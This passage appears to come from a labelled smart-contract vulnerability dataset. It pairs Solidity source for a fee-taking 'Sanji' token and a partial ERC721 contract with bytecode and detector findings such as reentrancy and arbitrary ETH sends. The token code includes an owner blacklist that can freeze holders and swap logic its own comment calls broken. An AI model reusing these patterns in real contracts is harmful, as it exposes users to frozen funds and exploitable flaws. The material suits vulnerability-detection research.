ffffffffffffffffffffffffffffff83166000908152600a602090815260408083204290553083526006909152902054611b709083611e5a565b306000908152600660209081526040808320939093558251918252915173ffffffffffffffffffffffffffffffffffffffff86811693908816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3604080518381529051309173ffffffffffffffffffffffffffffffffffffffff8716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001610b57565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600a60209081526040808320429055600890915281205460ff16611c8957611c6d85611f5b565b611c775782611c82565b611c82858585611f87565b9050611c8c565b50815b73ffffffffffffffffffffffffffffffffffffffff8416600090815260066020526040902054611cbc9082611e5a565b73ffffffffffffffffffffffffffffffffffffffff80861660008181526006602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b601980547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556018546000600281610dcf565b6000610b5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611875565b600082611db457506000610a44565b82820282848281611dc157fe5b0414610b57576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121ce6021913960400191505060405180910390fd5b6000610b5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214e565b600082820183811015610b5757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60145460009073ffffffffffffffffffffffffffffffffffffffff163314801590611efc575060195460ff16155b8015611f0a575060175460ff165b8015611f2757506018543060009081526006602052604090205410155b905090565b6000601554600014158015611f45575043601554600501105b8015611f27575042601654610258011015905090565b73ffffffffffffffffffffffffffffffffffffffff1660009081526008602052604090205460ff161590565b600080611f9261186d565b158015611fba575060145473ffffffffffffffffffffffffffffffffffffffff858116911614155b15611fc9576000915050610b57565b611fd1611f2c565b8015611fde575060045483115b1561208257600454611ff1908490611d63565b3060009081526006602052604090205490915061200e9082611e5a565b306000818152600660209081526040918290209390935580518481529051919273ffffffffffffffffffffffffffffffffffffffff8916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361207a8382611d63565b915050610b57565b600f546014546120bc9190610f80906120b59073ffffffffffffffffffffffffffffffffffffffff8981169116146116c6565b8690611da5565b306000908152600660205260409020549091506120d99082611e5a565b306000818152600660209081526040918290209390935580518481529051919273ffffffffffffffffffffffffffffffffffffffff8916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a36121458382611d63565b95945050505050565b600081836121b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156118e35781810151838201526020016118cb565b5060008385816121c357fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212202a1d7031cec5cc1d1678df0727a98471bb92d4c6e4ac8eb7eb9a62b98394360b64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,643 |
0x7e97FF7847eBc8a8De6Ef165Fb5fdc44AE0e0742 | /**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Sanji is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sanji";
string private constant _symbol = "SANJI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 100 * 1e9 * 1e9; // 100 billion
uint256 public _maxWalletAmount = 400 * 1e6 * 1e9; // 4%
// fees
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _marketingFeeOnBuy = 4;
uint256 public _liquidityFeeOnSell = 4;
uint256 public _marketingFeeOnSell = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _liquidityFee;
uint256 private _marketingFee;
mapping (address => bool) private _isBlacklisted;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0x8125CeB7D78702A1C3E07d1123932f412f4D603A);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 public swapAmount;
bool private inSwap = false;
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
swapAmount = 100 * 1e6 * 1e9; // 1%
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _liquidityFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlacklisted[from] && !_isBlacklisted[to]);
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) {
_liquidityFee = _liquidityFeeOnBuy;
_marketingFee = _marketingFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_liquidityFee = _liquidityFeeOnSell;
_marketingFee = _marketingFeeOnSell;
}
if (!inSwap && from != uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapAmount) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_marketingAddress,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee));
// split the contract balance into halves
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function manualSwap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function blacklist(address _address) external onlyOwner() {
_isBlacklisted[_address] = true;
}
function removeFromBlacklist(address _address) external onlyOwner() {
_isBlacklisted[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(_marketingFee).div(100);
fees.tLiquidity = amount.mul(_liquidityFee).div(100);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
require(_msgSender() == _marketingAddress);
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
function setSwapAmount(uint256 _swapAmount) external {
require(_msgSender() == _marketingAddress);
swapAmount = _swapAmount;
}
} | 0x60806040526004361061014f5760003560e01c806370a08231116100b6578063dd62ed3e1161006f578063dd62ed3e146103cc578063e581dc7114610412578063e632313c14610428578063f2fde38b14610448578063f429389014610468578063f9f92be41461047d57600080fd5b806370a08231146102fe5780638da5cb5b1461033457806395d89b4114610352578063a9059cbb14610380578063c4066f2f146103a0578063d52dfc14146103b657600080fd5b8063313ce56711610108578063313ce567146102495780633c0a73ae1461026557806349bd5a5e1461027b57806351bc3c85146102b3578063537df3b6146102c85780636c0a24eb146102e857600080fd5b806306fdde031461015b578063095ea7b31461019b57806318160ddd146101cb57806323b872dd146101f157806327a14fc2146102115780632e8fa8211461023357600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600581526453616e6a6960d81b60208201525b6040516101929190611437565b60405180910390f35b3480156101a757600080fd5b506101bb6101b63660046114a1565b61049d565b6040519015158152602001610192565b3480156101d757600080fd5b5068056bc75e2d631000005b604051908152602001610192565b3480156101fd57600080fd5b506101bb61020c3660046114cd565b6104b4565b34801561021d57600080fd5b5061023161022c36600461150e565b61051d565b005b34801561023f57600080fd5b506101e360135481565b34801561025557600080fd5b5060405160098152602001610192565b34801561027157600080fd5b506101e360065481565b34801561028757600080fd5b5060125461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610192565b3480156102bf57600080fd5b5061023161062e565b3480156102d457600080fd5b506102316102e3366004611527565b610670565b3480156102f457600080fd5b506101e360055481565b34801561030a57600080fd5b506101e3610319366004611527565b6001600160a01b031660009081526002602052604090205490565b34801561034057600080fd5b506000546001600160a01b031661029b565b34801561035e57600080fd5b5060408051808201909152600581526453414e4a4960d81b6020820152610185565b34801561038c57600080fd5b506101bb61039b3660046114a1565b6106bb565b3480156103ac57600080fd5b506101e360095481565b3480156103c257600080fd5b506101e360085481565b3480156103d857600080fd5b506101e36103e7366004611544565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041e57600080fd5b506101e360075481565b34801561043457600080fd5b5061023161044336600461150e565b6106c8565b34801561045457600080fd5b50610231610463366004611527565b6106ed565b34801561047457600080fd5b50610231610785565b34801561048957600080fd5b50610231610498366004611527565b6107b5565b60006104aa338484610803565b5060015b92915050565b60006104c1848484610927565b610513843361050e8560405180606001604052806028815260200161170b602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610d4c565b610803565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461053d57600080fd5b61055168056bc75e2d6310000060c8610d86565b81116105b75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b68056bc75e2d631000008111156106295760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b60648201526084016105ae565b600555565b6010546001600160a01b0316336001600160a01b03161461064e57600080fd5b30600090815260026020526040902054801561066d5761066d81610dcf565b50565b6000546001600160a01b0316331461069a5760405162461bcd60e51b81526004016105ae9061157d565b6001600160a01b03166000908152600e60205260409020805460ff19169055565b60006104aa338484610927565b6010546001600160a01b0316336001600160a01b0316146106e857600080fd5b601355565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105ae9061157d565b6001600160a01b03811661077c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ae565b61066d81610f4f565b6010546001600160a01b0316336001600160a01b0316146107a557600080fd5b47801561066d5761066d81610f9f565b6000546001600160a01b031633146107df5760405162461bcd60e51b81526004016105ae9061157d565b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b6001600160a01b0383166108655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ae565b6001600160a01b0382166108c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ae565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ae565b6001600160a01b0382166109ed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ae565b60008111610a4f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ae565b6001600160a01b0383166000908152600e602052604090205460ff16158015610a9157506001600160a01b0382166000908152600e602052604090205460ff16155b610a9a57600080fd5b6001610aae6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610add57506000546001600160a01b03848116911614155b8015610af257506001600160a01b0384163014155b8015610b0757506001600160a01b0383163014155b15610ce1576012546001600160a01b038581169116148015610b3757506011546001600160a01b03848116911614155b15610be657600554610b6883610b62866001600160a01b031660009081526002602052604090205490565b90610fdd565b1115610be65760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a4016105ae565b6012546001600160a01b038581169116148015610c1157506011546001600160a01b03848116911614155b8015610c3657506001600160a01b0383166000908152600f602052604090205460ff16155b15610c4857600654600c55600754600d555b6012546001600160a01b038481169116148015610c7357506011546001600160a01b03858116911614155b15610c8557600854600c55600954600d555b60145460ff16158015610ca657506012546001600160a01b03858116911614155b15610ce15730600090815260026020526040902054601354811115610cce57610cce8161103c565b478015610cde57610cde47610f9f565b50505b6001600160a01b03841660009081526004602052604090205460ff1680610d2057506001600160a01b03831660009081526004602052604090205460ff165b15610d29575060005b610d35848484846110c1565b610d46600a54600c55600b54600d55565b50505050565b60008184841115610d705760405162461bcd60e51b81526004016105ae9190611437565b506000610d7d84866115c8565b95945050505050565b6000610dc883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d9565b9392505050565b6014805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1157610e116115df565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e6557600080fd5b505afa158015610e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9d91906115f5565b81600181518110610eb057610eb06115df565b6001600160a01b039283166020918202929092010152601154610ed69130911684610803565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f0f908590600090869030904290600401611612565b600060405180830381600087803b158015610f2957600080fd5b505af1158015610f3d573d6000803e3d6000fd5b50506014805460ff1916905550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fd9573d6000803e3d6000fd5b5050565b600080610fea8385611683565b905083811015610dc85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ae565b6014805460ff19166001179055600c54600d546000916110729161105f91610fdd565b600c5461106c9085611107565b90610d86565b90506000611081826002610d86565b9050600061108f8483611186565b90504761109b82610dcf565b60006110b58361106c866110af4787611186565b90611107565b9050610f3d84826111c8565b806110ce576110ce61128b565b610d358484846112b9565b600081836110fa5760405162461bcd60e51b81526004016105ae9190611437565b506000610d7d848661169b565b600082611116575060006104ae565b600061112283856116bd565b90508261112f858361169b565b14610dc85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ae565b6000610dc883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d4c565b6011546111e09030906001600160a01b031684610803565b60115460105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561124b57600080fd5b505af115801561125f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061128491906116dc565b5050505050565b600d5415801561129b5750600c54155b156112a257565b600d8054600b55600c8054600a5560009182905555565b6112dd60405180606001604052806000815260200160008152602001600081525090565b6112f7606461106c600d548561110790919063ffffffff16565b6020820152600c546113119060649061106c908590611107565b808252602082015161132f9190611329908590611186565b90611186565b6040808301919091526001600160a01b0385166000908152600260205220546113589083611186565b6001600160a01b0380861660009081526002602052604080822093909355838301519186168152919091205461138d91610fdd565b6001600160a01b0384166000908152600260209081526040909120919091558151908201516113d6916113c09190610fdd565b3060009081526002602052604090205490610fdd565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b8181101561146457858101830151858201604001528201611448565b81811115611476576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461066d57600080fd5b600080604083850312156114b457600080fd5b82356114bf8161148c565b946020939093013593505050565b6000806000606084860312156114e257600080fd5b83356114ed8161148c565b925060208401356114fd8161148c565b929592945050506040919091013590565b60006020828403121561152057600080fd5b5035919050565b60006020828403121561153957600080fd5b8135610dc88161148c565b6000806040838503121561155757600080fd5b82356115628161148c565b915060208301356115728161148c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156115da576115da6115b2565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561160757600080fd5b8151610dc88161148c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116625784516001600160a01b03168352938301939183019160010161163d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611696576116966115b2565b500190565b6000826116b857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116d7576116d76115b2565b500290565b6000806000606084860312156116f157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fef87851e4490403d60d74585929f5fafc2bf41295f3da27739dee24eb1bdbe264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,644 |
0xd359e3f53b5d4e11b8b11dc0772448f380accf3c | pragma solidity ^0.4.18; // solhint-disable-line
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
function approve(address _to, uint256 _tokenID) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenID) public view returns (address addr);
function takeOwnership(uint256 _tokenID) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenID) public;
function transfer(address _to, uint256 _tokenID) public;
event Transfer(address indexed from, address indexed to, uint256 tokenID); // solhint-disable-line
event Approval(address indexed owner, address indexed approved, uint256 tokenID);
function name() public pure returns (string);
function symbol() public pure returns (string);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Manageable is Ownable {
address public manager;
bool public contractLock;
event ManagerTransferred(address indexed previousManager, address indexed newManager);
event ContractLockChanged(address admin, bool state);
function Manageable() public {
manager = msg.sender;
contractLock = false;
}
modifier onlyManager() {
require(msg.sender == manager);
_;
}
modifier onlyAdmin() {
require((msg.sender == manager) || (msg.sender == owner));
_;
}
modifier isUnlocked() {
require(!contractLock);
_;
}
function transferManager(address newManager) public onlyAdmin {
require(newManager != address(0));
ManagerTransferred(manager, newManager);
manager = newManager;
}
function setContractLock(bool setting) public onlyAdmin {
contractLock = setting;
ContractLockChanged(msg.sender, setting);
}
function payout(address _to) public onlyOwner {
if (_to == address(0)) {
owner.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function withdrawFunds(address _to, uint256 amount) public onlyOwner {
require(this.balance >= amount);
if (_to == address(0)) {
owner.transfer(amount);
} else {
_to.transfer(amount);
}
}
}
contract TokenLayer is ERC721, Manageable {
using SafeMath for uint256;
/********************************************** EVENTS **********************************************/
event TokenCreated(uint256 tokenId, bytes32 name, uint256 parentId, address owner);
event TokenDeleted(uint256 tokenId);
event TokenSold(
uint256 tokenId, uint256 oldPrice,
uint256 newPrice, address prevOwner,
address winner, bytes32 name,
uint256 parentId
);
event PriceChanged(uint256 tokenId, uint256 oldPrice, uint256 newPrice);
event ParentChanged(uint256 tokenId, uint256 oldParentId, uint256 newParentId);
event NameChanged(uint256 tokenId, bytes32 oldName, bytes32 newName);
event MetaDataChanged(uint256 tokenId, bytes32 oldMeta, bytes32 newMeta);
/******************************************** STORAGE ***********************************************/
uint256 private constant DEFAULTPARENT = 123456789;
mapping (uint256 => Token) private tokenIndexToToken;
mapping (address => uint256) private ownershipTokenCount;
address public gameAddress;
address public parentAddr;
uint256 private totalTokens;
uint256 public devFee = 50;
uint256 public ownerFee = 200;
uint256[10] private chainFees = [10];
struct Token {
bool exists;
address approved;
address owner;
bytes32 metadata;
bytes32 name;
uint256 lastBlock;
uint256 parentId;
